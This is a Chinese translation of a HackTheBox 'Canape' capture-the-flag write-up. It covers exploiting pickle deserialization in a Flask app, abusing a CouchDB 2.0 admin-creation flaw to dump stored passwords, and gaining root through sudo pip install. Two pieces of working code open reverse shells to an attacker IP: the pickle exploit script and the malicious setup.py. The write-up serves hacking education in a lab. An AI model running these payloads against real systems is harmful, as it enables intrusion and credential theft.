HackTheBox - Canape Writeup

原文: https://www.absolomb.com/2018-09-15-HackTheBox-Canape/

HackTheBox 是我非常喜歡的 CTF 比賽,因爲在拿到 Flag 的過程中需要一些創造性思維,並需要分析和編寫一些 python 腳本。所以這是一次很棒的學習經歷。

網絡掃描

用 Nmap 掃描服務器端口:

root@kali:~/htb/canape# nmap -p- 10.10.10.70 -T4

Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 12:51 CDT
Nmap scan report for 10.10.10.70
Host is up (0.053s latency).
Not shown: 65533 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
65535/tcp open  unknown

現在,我們針對兩個開放的端口,運行 nmap 腳本和服務檢測掃描。

root@kali:~/htb/canape# nmap -sV -sC -p 80,65535 10.10.10.70

Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 13:07 CDT
Nmap scan report for 10.10.10.70
Host is up (0.057s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-git: 
|   10.10.10.70:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: final # Please enter the commit message for your changes. Li...
|     Remotes:
|_      http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site
65535/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
|   256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_  256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (EdDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap 在 65535 端口上掃描到了 SSH服務,並在 80 端口上掃到了一個 Git 存儲庫地址。

我們可以通過兩種方式克隆 Git 存儲庫。簡單的方法是在更新 /etc/hosts 後執行 git clone 命令。

root@kali:~/htb/canape# git clone http://git.canape.htb/simpsons.git
Cloning into 'simpsons'...
remote: Counting objects: 49, done.
remote: Compressing objects: 100% (47/47), done.
remote: Total 49 (delta 18), reused 0 (delta 0)
Unpacking objects: 100% (49/49), done.

或者,如果 simpsons.git 文件並未公開,我們可以用 wget 來下載 git 倉庫。

root@kali:~/htb/canape#wget --mirror -I .git 10.10.10.70/.git/

然後.我們可以 cd 進入 git 存儲庫目錄並執行 git checkout 命令。

root@kali:~/htb/canape/10.10.10.70# git checkout -- . 
root@kali:~/htb/canape/10.10.10.70# ls -al
total 28 
drwxr-xr-x 5 root root 4096 Apr 26 13:26 . 
drwxr-xr-x 3 root root 4096 Apr 26 13:24 ..
drwxr-xr-x 8 root root 4096 Apr 26 13:26 .git
-rw-r--r-- 1 root root 2043 Apr 26 13:26 __init__.py
-rw-r--r-- 1 root root  207 Apr 26 13:24 robots.txt
drwxr-xr-x 4 root root 4096 Apr 26 13:26 static
drwxr-xr-x 2 root root 4096 Apr 26 13:26 templates

查看 __init__.py 文件的內容,我們可以發現這是一個 Flask Web 應用程序。

import couchdb                                                                                                                                                                                                     
import string                                                                                                                                                                                                      
import random                                                                                                                                                                                                      
import base64                                                                                                                                                                                                      
import cPickle                                                                                                                                                                                                     
from flask import Flask, render_template, request                                                                                                                                                                  
from hashlib import md5                                                                                                                                                                                            


app = Flask(__name__)                                                                                                                                                                                              
app.config.update(                                                                                                                                                                                                 
    DATABASE = "simpsons"                                                                                                                                                                                          
)                                                                                                                                                                                                                  
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]                                                                                                                                              

@app.errorhandler(404)                                                                                                                                                                                             
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
        return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()

上面的一些代碼可以篩選出不同的網頁。 /submit 需要兩個變量, charquotechar通過字符串白名單來確保是否包含白名單中的某個字符。quote 就沒有任何限制。然後使用 md5 對這兩個變量進行哈希作爲文件名,並寫入到/tmp/ 目錄。

我們可以看到 /check 接收了 id 輸入參數並使用這個參數作爲文件名,然後打開/tmp下帶有該 id 的文件。現部分代碼看起來比較有趣。如果 p1 在該文件中,則使用 cPickle 來加載文件內容(也就是反序列化)。如果你不熟悉 python 中的 pickle,那麼請查閱相關的資料。pickle 一般用於將數據序列化爲字節,也可用於反序列化。如果你閱讀了相關文檔,那麼文檔中會明確說明不應該提供無法驗證爲安全的數據。

因此,結合上面的代碼分析,我們可以將序列化代碼發送到 quote字段中,並讓 cPickle 對其進行反序列化並執行。

讓我們從簡單的開始,並驗證我們可以獲取存儲在/tmp目錄中的文件內容。我們先爲 char 變量設置 homer 這個值併爲 quote 變量設置值“test”,或者通過瀏覽器訪問頁面傳入參數,或者使用 curl 來完成請求。現在我們需要將這些值組合起來,請作爲 id 參數的值也就是文件名的哈希值然後請求 /check 頁面。

使用 __init__.py 文件的源代碼,我們可以重用部分代碼來實現我們需要的功能。

root@kali:~# python
Python 2.7.14+ (default, Dec  5 2017, 15:17:02) 
[GCC 7.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from hashlib import md5
>>> char = "homer"
>>> quote = "test"
>>> p_id = md5(char + quote).hexdigest()
>>> p_id
'27c2ef5f95bbc3e5fddecf2f5ed9eb8c'

使用 curl 命令向 /check 發起 POST 請求來驗證結果。

root@kali:~/htb/canape# curl -X POST http://10.10.10.70/check -F 'id=27c2ef5f95bbc3e5fddecf2f5ed9eb8c'
Still reviewing: homertest

請注意,它將兩個值連接在了一起,我們需要記住這一點,後面會用到。好吧,我們已經找到了那個部分,現在我們需要用 cPickle 和它的 dump 函數將已經序列化的數據輸入到 quote 變量。這有一篇很好的文章,介紹瞭如何使用Python中一個類來做到這一點。

所以,我們還需要再做一些事情才能夠讓代碼執行。

  • 將要執行的代碼使用 cPickle 序列化並提交給 quote
  • 使用 md5 加密我們提交的 char 和 quote 參數值,用於調用有效載荷
  • 將上一步得到的哈希值作爲 id 參數的值,並向 /check 提交 POST 請求

讓我們編寫一個 Exp 來自動化完成這些工作。

import cPickle
from hashlib import md5
import os
import requests
import urllib

class shell(object):
    def __reduce__(self):
        return (os.system,("rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe",))

quote = cPickle.dumps(shell())

char = "(S'homer'\n"

p_id = md5(char + quote).hexdigest()

submit_url = "http://10.10.10.70/submit"
check_url = "http://10.10.10.70/check"

client = requests.session()

post_data = [('character',char), ('quote',quote)]

post_request = client.post(submit_url, data=post_data)

post2_data = [('id',p_id)]

post2_request = client.post(check_url, data=post2_data)

現在我解釋一下這段代碼。

首先導入我們需要的所有需要用到的模塊,然後定義一個類對象,這個類會執行一個反向shell,利用了 mknod 方法,因爲很可能 nc -e 在目標服務器上不起作用。

接下來,我們使用 cPickle 序列化我們要執行的代碼來並將其放入 quote 變量中。

接下來就是比較有趣的部分了。我們知道我們必須讓提交 char 參數在白名單中。但是,如果我們按原樣提交該字符串,則會導致我們的代碼在反序列化時不會被執行。所以我們需要做的就是在cPickle中創建一個反序列化的字符串,通過添加 (S' 到字符串的最前面使其成爲有效的非可執行代碼。我們還可以添加 \n 換行符來防止我們之前看到的字符串會被拼接的情況。如果你想知道我是怎麼想到的,你可以在python終端中查看反序列化的數據,看看 cPickle 轉儲了什麼,你會得到下面這樣的輸出:

cposix
system
p1
(S'rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe'
p2
tp3
Rp4

注意 mknod 字符串的開頭是 (S' 並用單引號閉合。可能還有其他的一些方法,但我的這個方法足夠完成工作。

回到我們的 python 腳本,我們將 char 和 quote 拼接並用 md5 加密,然後存儲爲變量 pid,稍後會調用這個變量。 接下來,我們定義了要發起 POST 請求的兩個 URL。 然後使用 requests 模塊,創建一個 HTTP 請求客戶端,並使用兩個 char 和 quote 作爲數據向/submit URL 發起 POST 請求。 最後,我們使用 pid 作爲 id 參數的值向 /check 發起 POST請求來執行代碼。

這個時候我們在本地啓動 netcat 監聽器,就可以在運行上面的腳本後捕獲到服務器的 shell。

root@kali:~/htb/canape# python script.py
root@kali:~/htb/canape# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 58452
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@canape:/$

搞定!

提權到 homer 用戶權限

我們已經得到了一個 www-data 用戶身份的 shell ,但我們需要提升到 homer 用戶身份來獲取user.txt。回顧一下前面的 Flask 源代碼,我們可以看到這個 Flask 應用程序連接到了 localhost 的 5984 端口上的 couchdb 服務。我們可以使用 curl 來驗證連接並獲取數據庫版本。

www-data@canape:/$ curl -X GET http://127.0.0.1:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

讓我們做一般的查詢來獲取當前在 couchdb 中的所有數據庫。

www-data@canape:/var/www/html/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs
<ml/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs                     
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

如果我們嘗試訪問數據庫中 password 的內容,會被拒絕訪問。

www-data@canape:/$ curl -X GET http://127.0.0.1:5984/passwords/all_docs
{"error":"unauthorized","reason":"You are not authorized to access this db."}

幸運的是,couchdb 2.0 版本很容易受到漏洞攻擊,有個 RCE 漏洞可以讓我們繞過輸入驗證來創建一個管理員用戶。你可以在這裏查看漏洞詳情。

我們的有效載荷如下:

www-data@canape:/$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:absolomb' --data-binary '{"type":"user","name":"absolomb","roles": ["_admin"],"roles": [],"password": "supersecret"}'

{"ok":true,"id":"org.couchdb.user:absolomb","rev":"1-821ac8fdc3a5d8e4362682da1beae312"}

現在我們可以通過在 URL 前面添加 username:password 這種格式的前綴來查詢數據庫。

www-data@canape:/$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}

我們只需要在 URL 的末尾附加上 id 的值,就可以查詢數據庫中每個記錄項的詳細數據。

www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4                                
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d                                
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f                                
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738                                
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}

homer 用戶的密碼就是我們想要的! 我們可以在 65535 端口上連接 SSH 服務。

root@kali:~/htb/canape# ssh [email protected] -p 65535
[email protected]'s password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Tue Apr 10 12:57:08 2018 from 10.10.14.5
homer@canape:~$

提權到 Root 權限

如果我們檢查 homer 用戶的 sudo權限,我們可以看到 homer 用戶能夠以 root 用戶的身份運行 pip install。

homer@canape:~$ sudo -l
[sudo] password for homer: 
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *

爲了利用這一點,我們可以簡單地創建一個惡意的python包,它將在安裝時運行代碼。爲此,我們可以setup.py使用以下內容在攻擊框中創建一個文件。

To exploit this, we can simply create a malicious python package that will run code when it’s installed. To do this we can create a setup.py file on our attacking box with the following.

import os
import pty
import socket

from setuptools import setup
from setuptools.command.install import install

class MyClass(install):
    def run(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("10.10.14.14", 443))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        os.putenv("HISTFILE",'/dev/null')
        pty.spawn("/bin/bash")
        s.close()

setup(
    cmdclass={
        "install": MyClass
    }
)

這基本上只是告訴pip在安裝時運行MyClass,它將向我們發送一個反向shell。 現在我們需要打包它。

This basically just tells pip to run MyClass at install, which will send us a reverse shell.

Now we’ll need to package it.

root@kali:~/htb/canape# python setup.py sdist

默認情況下,它會在 dist 目錄下創建一個 UNKNOWN-0.0.0.tar.gz 文件,我們可以將這個文件複製並重命名爲 shell.tar.gz 然後複製到目標服務器上。

homer@canape:~$ wget http://10.10.14.14/shell.tar.gz
--2018-04-27 12:23:05--  http://10.10.14.14/shell.tar.gz
Connecting to 10.10.14.14:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 775 [application/gzip]
Saving to: ‘shell.tar.gz’

shell.tar.gz                  100%[=================================================>]     775  --.-KB/s    in 0s      

2018-04-27 12:23:05 (126 MB/s) - ‘shell.tar.gz’ saved [775/775]

現在,我們就可以啓動一個 netcat 的監聽器並使用 sudo 來運行 pip install。

homer@canape:~$ sudo /usr/bin/pip install shell.tar.gz 
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing ./shell.tar.gz
Installing collected packages: UNKNOWN
  Running setup.py install for UNKNOWN ...
root@kali:~/htb/canape# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 55420
root@canape:/tmp/pip-bz9te7-build#

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章